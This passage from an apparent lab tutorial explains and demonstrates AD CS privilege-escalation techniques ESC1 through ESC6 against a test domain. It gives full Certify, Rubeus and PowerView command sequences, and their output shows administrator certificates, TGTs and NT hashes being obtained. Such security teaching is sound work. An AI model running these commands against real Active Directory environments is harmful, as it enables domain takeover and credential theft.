\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=elswixcorp,DC=local'
...[snip]...
[!] Vulnerable Certificates Templates :
CA Name : DC02.elswixcorp.local\elswixcorp-DC02-CA
Template Name : ESC1
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication
mspki-certificate-application-policy : Client Authentication
Permissions
Enrollment Permissions
Enrollment Rights : ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
ELSWIXCORP\Domain Users S-1-5-21-4266111273-315482142-3017431568-513
ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
...[snip]...
Certify completed in 00:00:11.6553439
As seen in the output, Certify has identified a vulnerable template named ESC1
under the Certification Authority (CA) DC02.elswixcorp.local\elswixcorp-DC02-CA
. The key detail here is the msPKI-Certificate-Name-Flag
attribute, which contains the flag ENROLLEE_SUPPLIES_SUBJECT
. This flag indicates that the requester can specify an arbitrary SAN in the CSR, making it vulnerable to ESC1 exploitation.
Moreover, it also includes the Client Authentication
EKU, which enables domain authentication.
Note
You may have noticed that in the earlier authentication demonstration, I interacted with elswixcorp-DC01-CA
. However, in this case, Certify found a vulnerable template in elswixcorp-DC02-CA
, which is a Subordinate CA in my environment.
I specifically created a second CA because the first one (elswixcorp-DC01-CA
) has the latest security updates, which mitigate most of the attacks covered in Part 1. By using an older, unpatched CA, I can demonstrate the vulnerabilities/misconfigurations that were originally discovered in the SpecterOps research.
Now, let's request a certificate using the ESC1 template. The process is nearly identical to the one used in the earlier authentication demonstration, but this time, we need to explicitly specify a Subject Alternative Name (SAN) when making the request. This can be done using the /altname
parameter in Certify:
PS C:\tmp> .\certify.exe request /ca:"DC02.elswixcorp.local\elswixcorp-DC02-CA" /template:"ESC1" /altname:administrator
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Request a Certificates
[*] Current user context : ELSWIXCORP\elswix
[*] No subject name specified, using current context as subject.
[*] Template : ESC1
[*] Subject : CN=elswix, CN=Users, DC=elswixcorp, DC=local
[*] AltName : administrator
[*] Certificate Authority : DC02.elswixcorp.local\elswixcorp-DC02-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 18
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAz1/ePBmq3ly0EUUiPOl+SWgHeFFRhNLpOxisktQqjHlbDTht
qY/BVYyjXHXiZiGAotF/rupIl9wAJrQB6Czn0TlGO0GeFw+OweYEq+g+zpnym9Vi
zVF+hNQfg6NLsb+9DY6iyuM80nBOysT/ub15qX2sv0uw0AvvBdwVHQHM9mZcomdv
LOmAulKexnU9beCd/wwsqSnNQN23w0wY7W62b1g0V24QV16iyJ+olSV1jUHvgtav
...[snip]...
wmeqQKBgQDlQpH2e2MQnWqbbmxxQuezPFZFTvbKh29Hnzzw+gxsmTH9DrRiVmLk
7RIyYA4i5rpceicAPkhtKM5QFkLfAeWdjV1dyXm9EPmO/i4iBG28TiDlhqLZUNdd
/5bQWQsYI6maIguutOHH1b3plZ16TBLReIoBrqQQxWRb1+YehsrpQg==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGCDCCBPCgAwIBAgITPgAAABJ44vNEkStfQgAAAAAAEjANBgkqhkiG9w0BAQsF
ADBQMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGjAYBgoJkiaJk/IsZAEZFgplbHN3
aXhjb3JwMRswGQYDVQQDExJlbHN3aXhjb3JwLURDMDItQ0EwHhcNMjUwMzIzMTcy
NTI5WhcNMjYwMzIzMTcyNTI5WjBUMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGjAY
...[snip]...
2aZFpu84UtihZgww/xC91HN0LwMng9PM68h/DGZk8yGuLCd4BTVJ2JKRupIWRgp1
xbENKKwOzvbkDz8/OVqAuIErpRI5fXxLrL0jfJfc0pI/UO2gu/m4BZ2h9ZBQiicN
5N7lVbjTW3gTafrYuLwWC4nCf+gJHsnJm3yKmhCNrD2cgRFVoIYVcHslZsj9ExuQ
F+gcOsQvZa52uDskZiK+IJWw9HaGU/w3FWbQ+Ef+sZZQIIp6ssUb7po0AbWqsKj9
7wgTFy5HuYRiSvTuTUYi5reGKn8x2Yeh6UtmHXUKOmRSQ/V0AdPaJ3Bu80O/iuRs
kFm82p5JAnmgnMAQ
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:15.2464748
Once the certificate is issued, I transfer the private key and the certificate to my Linux machine and use OpenSSL to convert them into a PFX file. This step is necessary because PFX files contain both the private key and certificate, making them usable for authentication:
elswix@ubuntu$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
elswix@ubuntu$
During the conversion process, OpenSSL allows you to set a password for the PFX file. In this case, I simply pressed Enter twice, meaning the resulting PFX file is not password-protected.
Using the Certificate to Obtain a TGT
Next, I upload the cert.pfx
file to the victim machine. With Rubeus, I then request a TGT (Ticket Granting Ticket) using the newly obtained certificate:
PS C:\tmp> .\Rubeus.exe asktgt /user:administrator /certificate:C:\tmp\cert.pfx /dc:dc02.elswixcorp.local
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGT
[*] Got domain: elswixcorp.local
[*] Using PKINIT with etype rc4_hmac and subject: CN=elswix, CN=Users, DC=elswixcorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'elswixcorp.local\administrator'
[*] Using domain controller: fe80::8486:53c9:7ec5:93ed%5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGjDCCBoigAwIBBaEDAgEWooIFkDCCBYxhggWIMIIFhKADAgEFoRIbEEVMU1dJWENPUlAuTE9DQUyi...[snip]... WqgSGxBFTFNXSVhDT1JQLkxPQ0FMqSUwI6ADAgECoRwwGhsGa3JidGd0GxBlbHN3aXhjb3JwLmxvY2Fs
ServiceName : krbtgt/elswixcorp.local
ServiceRealm : ELSWIXCORP.LOCAL
UserName : administrator (NT_PRINCIPAL)
UserRealm : ELSWIXCORP.LOCAL
StartTime : 3/23/2025 10:41:26 AM
EndTime : 3/23/2025 8:41:26 PM
RenewTill : 3/30/2025 10:41:26 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 3kpw4gV2eu7PzXjMtMY+qg==
ASREP (key) : 53947F0B0F355E87DBC5F6EA1C4F42EB
PS C:\tmp>
As seen in the output, we successfully obtained a TGT for the Administrator account.
You can also attempt to retrieve the NT hash of the administrator
or the user specified in the altname
parameter by providing the /getcredentials
parameter to Rubeus:
PS C:\tmp> .\Rubeus.exe asktgt /user:administrator /certificate:C:\tmp\cert.pfx /dc:dc02.elswixcorp.local /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGT
[*] Got domain: elswixcorp.local
[*] Using PKINIT with etype rc4_hmac and subject: CN=elswix, CN=Users, DC=elswixcorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'elswixcorp.local\administrator'
[*] Using domain controller: fe80::8486:53c9:7ec5:93ed%5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGjDCCBoigAwIBBaEDAgEWooIFkDCCBYxhggWIMIIFhKADAgEFoRIbEEVMU1dJWENPUlAuTE9DQUyi...[snip]...qgSGxBFTFNXSVhDT1JQLkxPQ0FMqSUwI6ADAgECoRwwGhsGa3JidGd0GxBlbHN3aXhjb3JwLmxvY2Fs
ServiceName : krbtgt/elswixcorp.local
ServiceRealm : ELSWIXCORP.LOCAL
UserName : administrator (NT_PRINCIPAL)
UserRealm : ELSWIXCORP.LOCAL
StartTime : 3/23/2025 10:46:04 AM
EndTime : 3/23/2025 8:46:04 PM
RenewTill : 3/30/2025 10:46:04 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : kUVbX0cb+0WOJCFe/mDW2A==
ASREP (key) : 76C300879B19D3E71BD2C41937A85F1E
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : 58A478135A93AC3BF058A5EA0E8FDB71
This can be done via a U2U request, which we will cover in upcoming articles.
Breaking Down the ESC1 Exploitation Process
Let’s summarize and break down the key steps that led to privilege escalation.
First, we identified a certificate template that allows domain authentication because it includes the Client Authentication EKU. More importantly, it has the ENROLLEE_SUPPLIES_SUBJECT flag enabled, which means we can specify an arbitrary Subject Alternative Name (SAN) in the Certificate Signing Request (CSR). Additionally, the template grants Domain Users the ability to enroll, meaning any authenticated user in the domain can request a certificate using this template. These conditions create a high-risk privilege escalation vector that can be exploited.
Certificate Request and Issuance
When we submitted the CSR, the Certificate Authority (CA) processed the request by:
-
Checking which template was specified in the CSR.
-
Detecting that a SAN was included in the request.
-
Verifying whether the selected template allows the requester to supply a SAN.
-
Since this configuration was enabled, the CA simply copies the attacker-supplied SAN into the final certificate without performing additional validation.
This means the issued certificate is now valid for authentication and is mapped to the SAN value we provided, rather than the user who originally requested the certificate.
Authentication via Kerberos PKINIT
When we submitted the AS_REQ request to the KDC with the certificate, the KDC first checks which user we are trying to authenticate as. Since the SAN field in the certificate contains "Administrator", the KDC assumes the request is legitimate and issues a TGT for the Administrator account.
One important detail to note is the /user
parameter we specified. This value must match the /altname
provided when requesting the certificate; otherwise, the asktgt request will fail. This happens because the KDC expects the certificate to be associated with the user specified in /user
. If there is a mismatch, the authentication attempt is rejected since the certificate does not belong to the requested identity.
Note
I specified the second Domain Controller (DC02) in the /dc
parameter because if the request were sent to the updated DC (DC01), the certificate would be rejected, as recent security updates prevent this type of exploitation.
Misconfigured Certificate Templates (ESC2)
This technique is very similar to ESC1
, as it relies on a misconfigured certificate template that allows an attacker to request a certificate that can be abused for privilege escalation. The requirements for ESC2
are nearly identical to those of ESC1
, with one key difference:
Instead of relying on Client Authentication or Smart Card Logon EKUs, ESC2
abuses certificate templates that either contain the "Any Purpose" EKU (2.5.29.37.0
) or have no EKU set at all.
Understanding EKUs in ESC2
Any Purpose EKU (2.5.29.37.0
)
The Any Purpose EKU is an extremely permissive setting that allows a certificate to be used for any cryptographic function without restriction. In practice, this means that applications, including Kerberos PKINIT, may implicitly accept these certificates for authentication, even if the template was not explicitly designed for that purpose.
No EKU Set (Implicit SubCA Behavior)
If a certificate is issued without any EKUs, it is effectively treated as having no restrictions on its usage, making it function similarly to a subordinate CA certificate. This means that an attacker who obtains such a certificate can use it for any purpose, including signing new certificates. With the ability to issue certificates, the attacker can generate new ones with arbitrary Extended Key Usages (EKUs) or custom identity fields, allowing them to craft certificates that suit their needs.
However, for a subordinate CA certificate to issue authentication certificates that can be used in Kerberos PKINIT, it must be explicitly trusted by the NTAuthCertificates object in Active Directory. By default, this trust is not granted, meaning that certificates issued by a rogue subordinate CA will not be accepted for domain authentication. Despite this limitation, an attacker can still abuse this type of certificate by generating new ones with EKUs such as Code Signing, Server Authentication, or Secure Email, which could have serious implications for other security mechanisms in the network, including SAML authentication, AD FS, and IPSec.
I will not demonstrate how to abuse ESC2
because it is too similar to ESC1
. The only difference is the EKU; the other requirements are the same, so the exploitation process is identical to ESC1
.
Enrollment Agent Templates (ESC3)
ESC3 abuses misconfigured certificate templates that allow enrollment agents to request certificates on behalf of other users. This is possible due to the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1
), commonly referred to as Enrollment Agent in Microsoft’s documentation.
When a user has a certificate with this EKU, they can co-sign certificate requests for other users. This means an attacker who can enroll in such a template can generate certificates for any user, provided that:
-
The target certificate template is Schema Version 1 (which does not enforce additional restrictions), or
-
The target certificate template is Schema Version 2+ and explicitly requires an "Authorized Signatures/Application Policy" Issuance Requirement (which the attacker can fulfill).
By leveraging this misconfiguration, an attacker can issue certificates for privileged accounts (e.g., an Administrator), ultimately escalating privileges within the domain.
In essence, if an attacker obtains a certificate that includes the Certificate Request Agent EKU, they gain the ability to request certificates on behalf of other users. By leveraging a "dangerous" template—such as the default User template, which allows for client authentication—the attacker can co-sign the certificate request, impersonating any arbitrary user. This effectively enables privilege escalation, as the attacker can generate a valid authentication certificate for high-privileged accounts, such as domain administrators.
Exploitation
Initially, let's search for vulnerable templates using Certify.exe
:
PS C:\tmp> .\Certify.exe find /vulnerable
...[snip]...
[!] Vulnerable Certificates Templates :
CA Name : DC02.elswixcorp.local\elswixcorp-DC02-CA
Template Name : ESC3
Schema Version : 2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Certificate Request Agent
mspki-certificate-application-policy : Certificate Request Agent
Permissions
Enrollment Permissions
Enrollment Rights : ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
ELSWIXCORP\Domain Users S-1-5-21-4266111273-315482142-3017431568-513
ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
Object Control Permissions
Owner : ELSWIXCORP\Administrator S-1-5-21-4266111273-315482142-3017431568-500
WriteOwner Principals : ELSWIXCORP\Administrator S-1-5-21-4266111273-315482142-3017431568-500
ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
WriteDacl Principals : ELSWIXCORP\Administrator S-1-5-21-4266111273-315482142-3017431568-500
ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
WriteProperty Principals : ELSWIXCORP\Administrator S-1-5-21-4266111273-315482142-3017431568-500
ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
Certify completed in 00:00:12.1101152
As seen in the output, it found a template named ESC3
which has the Certificate Request Agent
EKU, thus making it vulnerable to ESC3.
Now, let's request a certificate using this template:
PS C:\tmp> .\Certify.exe request /ca:DC02.elswixcorp.local\elswixcorp-DC02-CA /template:ESC3
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Request a Certificates
[*] Current user context : ELSWIXCORP\elswix
[*] No subject name specified, using current context as subject.
[*] Template : ESC3
[*] Subject : CN=elswix, CN=Users, DC=elswixcorp, DC=local
[*] Certificate Authority : DC02.elswixcorp.local\elswixcorp-DC02-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 19
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA2rfCj65u39XNu1WuPirmSOaE9aXTXPgJTdSaH16kA3xkSL63
...[snip]...2uUf61UVoimG+PuIy3XFiVXm+zF9APxojB
nEMPNFCKo8IMluUOKMA9KeXVgwFgvRjHy7zLqu7eSmHxPd0iQas=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIF0DCCBLigAwIBAgITPgAAABNRLiF+zHF0vAAAAAAAEzANBgkqhkiG9w0BAQsF
ADBQMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGjAYBgoJkiaJk/IsZAEZFgplbHN3
...[snip]...Kh1/2ecllx02ioAnWOZsWV/siOtzvB565spQ8BUL9LIS9Fc+
mGtna0lkeB6WNwAfrIc7YhN5GtS17l1VgBWczGARIzBIJ0Nm2s/hUaMAN5o6mvVt
pla/ng==
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Once we have obtained the certificate, the next step is to convert it to PFX
format. Since this process is identical to what we did in ESC1
, we won’t go into detail here. After converting the certificate, it must be uploaded to the target machine.
As previously explained, a certificate with the Certificate Request Agent EKU allows us to co-sign another certificate request, effectively enrolling for a certificate on behalf of any user. In this scenario, we will leverage the User template to request a certificate for the Administrator account. To achieve this, we specify the target user using the /onbehalfof
parameter. Additionally, we need to supply the certificate that grants us this capability, which is provided via the /enrollcert
parameter:
PS C:\tmp> .\Certify.exe request /ca:DC02.elswixcorp.local\elswixcorp-DC02-CA /template:User /onbehalfof:ELSWIXCORP\administrator /enrollcert:enrollcert.pfx
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Request a Certificates
[*] Current user context : ELSWIXCORP\elswix
[*] Template : User
[*] On Behalf Of : ELSWIXCORP\administrator
[*] Certificate Authority : DC02.elswixcorp.local\elswixcorp-DC02-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 20
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAlLm1oDuRXOc7M7xoJMuoTr1Y7VSSkEAUpcKJDFzo2p16nsrF
yxAjHFXHd8oI1ddszi9YwsrmZ6Y4xLgvKxTnt/X3sVY0XwYyCHVMWRQ/0Ffjrt1B
...[snip]...gS/mecPnzlavrf7MZlUb0BhLrn
aPwHK3hUnXj7EG5y2r9TLCmWUeAtHVivRyrzSTw6FLNyFcFr5us=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIF9DCCBNygAwIBAgITPgAAABSarilGVhFvcAAAAAAAFDANBgkqhkiG9w0BAQsF
...[snip]...DnUoAs7R3xVBR1PMQ/Qw2JqBVQicnEEu9xa2ng8
u+xEoh+3eAIO5dimdNQtHwvuAH8WQHTRghSy7O0dtkBwpQ65KbuIfuQx3iWvprAV
9fkevjHR/u4pGQ1vocaTZT+68X+7RjS8OxR4Zgllij49OqbyzR4oIQ==
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:03.6738651
PS C:\tmp>
Excellent! We've successfully obtained a certificate for the Administrator account. The next step is to convert this certificate to PFX
format, allowing us to use it for authentication.
Once converted, we can leverage PKINIT Kerberos authentication using Rubeus.exe
.
PS C:\tmp> .\Rubeus asktgt /user:administrator /certificate:administrator.pfx /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGT
[*] Got domain: elswixcorp.local
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=elswixcorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'elswixcorp.local\administrator'
[*] Using domain controller: fe80::8486:53c9:7ec5:93ed%5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGjDCCBoigAwIBBaEDAgEWooIFkDCCBYxhggWIMIIFhKADAgEFoRIbEEVMU1dJWENPUlAuTE...[snip]...FNXSVhDT1JQLkxPQ0FMqSUwI6ADAgECoRwwGhsGa3JidGd0GxBlbHN3aXhjb3JwLmxvY2Fs
ServiceName : krbtgt/elswixcorp.local
ServiceRealm : ELSWIXCORP.LOCAL
UserName : administrator (NT_PRINCIPAL)
UserRealm : ELSWIXCORP.LOCAL
StartTime : 3/28/2025 10:58:10 PM
EndTime : 3/29/2025 8:58:10 AM
RenewTill : 4/4/2025 10:58:10 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : uju555q05LRTqDFqdb0Lng==
ASREP (key) : 9508DE096CEAFA3697F2964493312A0B
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : 58A478135A93AC3BF058A5EA0E8FDB71
By doing this, we authenticate as the Administrator user, and since the certificate is trusted, the authentication process completes successfully. As a result, we've not only gained access as the Administrator, but we've also extracted the NT hash leveraging U2U.
Vulnerable Certificate Template Access Control (ESC4)
ESC4 exploits misconfigured DACL (Discretionary Access Control List) settings on certificate templates, where low-privileged users have write permissions. If a user has write access to a template, they can modify critical settings, such as how the Subject Name field is handled in issued certificates, or modify its EKUs.
One particularly dangerous modification is enabling the Supply in Request option, which allows the requester to specify an arbitrary Subject Alternative Name (SAN). This misconfiguration opens the door for privilege escalation, as an attacker could request a certificate with a SAN matching a privileged account, such as Administrator, and use it for authentication. Similar to what we did in ESC1
.
Essentially, if a template is vulnerable to ESC4, you can make it vulnerable to ESC1 by modifying the template settings.
For this scenario, I created a template called ESC4
, which grants write permissions to Domain Users. This misconfiguration can be found using Certify.exe
:
PS C:\tmp> .\Certify.exe find /vulnerable
...[snip]...
[!] Vulnerable Certificates Templates :
CA Name : DC02.elswixcorp.local\elswixcorp-DC02-CA
Template Name : ESC4
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Code Signing
mspki-certificate-application-policy : Code Signing
Permissions
Enrollment Permissions
Enrollment Rights : ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
ELSWIXCORP\Domain Users S-1-5-21-4266111273-315482142-3017431568-513
ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
Object Control Permissions
...[snip]...
WriteProperty Principals : ELSWIXCORP\Administrator S-1-5-21-4266111273-315482142-3017431568-500
ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
ELSWIXCORP\Domain Users S-1-5-21-4266111273-315482142-3017431568-513
ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
Certify completed in 00:00:13.1638410
As observed, Domain Users have WriteProperty
privileges on ESC4
. Now, let's reproduce the attack.
The ESC4
template has the Code Signing EKU, which does not allow us to use it for authentication. Moreover, the Supply in Request option is not enabled, so, in principle, it's not exploitable. However, as we have write permissions on it, we can modify such configurations or add new ones.
To modify this template, I'll use the PowerView.ps1 script, which is great for this purpose. First, I'll enable the option Supply in Request:
PS C:\tmp> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=elswixcorp,DC=local" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose
Verbose: [Get-DomainSearcher] search base: LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=elswixcorp,DC=local
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=ESC4)(name=ESC4)(displayname=ESC4))))
Verbose: [Set-DomainObject] XORing 'mspki-certificate-name-flag' with '1' for object ''
Great, it worked. Now, let's add the Client Authentication EKU:
PS C:\tmp> Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=elswixcorp,DC=local" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
Verbose: [Get-DomainSearcher] search base: LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=elswixcorp,DC=local
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=ESC4)(name=ESC4)(displayname=ESC4))))
Verbose: [Set-DomainObject] Setting 'mspki-certificate-application-policy' to '1.3.6.1.5.5.7.3.2' for object ''
Excellent, now the ESC4 template can be abused the same way as ESC1. Because we made it vulnerable to ESC1.
PS C:\tmp> .\Certify.exe request /ca:DC02.elswixcorp.local\elswixcorp-DC02-CA /template:ESC4 /altname:administrator
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Request a Certificates
[*] Current user context : ELSWIXCORP\elswix
[*] No subject name specified, using current context as subject.
[*] Template : ESC4
[*] Subject : CN=elswix, CN=Users, DC=elswixcorp, DC=local
[*] AltName : administrator
[*] Certificate Authority : DC02.elswixcorp.local\elswixcorp-DC02-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 21
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuIVCD9TJD8oIzW8+lh7qQHNd3a5VZqLzyPK3dKGFTcsM8WjW
RpTQX0nZKE2l1XgQ1PgtI2++PJuLomxsYQZ2CMUELBOBMITbTkcQZNP5uKCKqHEz
...[snip]...
uVH0mvhKmB0AWKTTrcIWBaGuhwBkvAGFHcGzLez/RgEHDMpSG7fLD9GhM3HLvLGb
b0iU2h8Xm9ug3TLNZ9BrnIzlUjbTPjHRDMne8USm5LWLCJYbZC1U
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFwzCCBKugAwIBAgITPgAAABXm+dcxkAITHAAAAAAAFTANBgkqhkiG9w0BAQsF
...[snip]...
AId2EcRVuyZRnVYnQqkJ8q69EKx1HK1DR7luf7ndBpUhHp28Vz8nxWi7jChBSCof
4kvzVGZzR4OmvPICaQiCJx0XAoxktriNjmOgB1FuV27o8pS6Q1miXXr+1y1p4Uy0
2zo4yi16XRcYnrK/mFFErfcph+c2rJRJlOCqsHBuKK79PQDM5/9A
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:15.6198808
As seen above, we can request certificates providing our own SAN, and this certificate can now be used for authentication.
Vulnerable PKI Object Access Control (ESC5)
This technique exploits misconfigured Discretionary Access Control Lists (DACLs) on Active Directory objects that have control over the Active Directory Certificate Services (ADCS) system. While this attack does not directly target certificate templates or the CA itself, it can still have a significant impact on the security of the entire Public Key Infrastructure (PKI).
Various objects within Active Directory can influence the behavior and security of ADCS if improperly configured. Some of the key targets include:
-
The CA Server's AD Computer Object: If an attacker gains control over the CA’s computer object, they could exploit Resource-Based Constrained Delegation (RBCD) to escalate privileges and potentially take control of the CA itself (we'll show this scenario later).
-
The CA Server’s RPC/DCOM Configuration: Misconfigurations in the Remote Procedure Call (RPC) or Distributed Component Object Model (DCOM) settings on the CA server could allow an attacker to execute privileged actions remotely.
-
AD Objects in the PKI Configuration Container: Many critical settings for ADCS are stored under
CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM>
. An attacker with improper privileges over objects within this container—such as Certificate Templates, Certification Authorities, NTAuthCertificates, or Enrollment Services—could manipulate these settings to weaken the certificate issuance process, bypass security controls, or issue rogue certificates.
EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)
The EDITF_ATTRIBUTESUBJECTALTNAME2
attribute, when enabled, allows clients to supply an arbitrary SAN even if the template doesn't have the Supply in Request
option activated. This setting is applied at the Certification Authority level, not at the template level.
This is dangerous and should never be used, but some administrators may enable it without realizing the security risks.
With this option enabled, any template that allows Client Authentication (like the default User template) can be abused. If a low-privileged user has enroll permissions (which is the default for the User template), they can request a certificate for a Domain Admin, escalating privileges easily.
For practice, you can enable this attribute using PowerShell, but you need to be a high-privileged user:
certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
Then, restart the CertSrv
service to apply the changes:
Restart-Service CertSvc
This "misconfiguration" can be found using Certify.exe
:
PS C:\tmp> .\certify.exe find /vulnerable
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
...[snip]...
[*] Listing info about the Enterprise CA 'elswixcorp-DC02-CA'
Enterprise CA Name : elswixcorp-DC02-CA
DNS Hostname : DC02.elswixcorp.local
FullName : DC02.elswixcorp.local\elswixcorp-DC02-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=elswixcorp-DC02-CA, DC=elswixcorp, DC=local
Cert Thumbprint : 7DC78F3D8C2FE11B86C093B1DDF3C4D7D28EC360
Cert Serial : 350000002AB93A8248640A12F400000000002A
Cert Start Date : 3/8/2025 3:59:19 PM
Cert End Date : 3/8/2027 4:09:19 PM
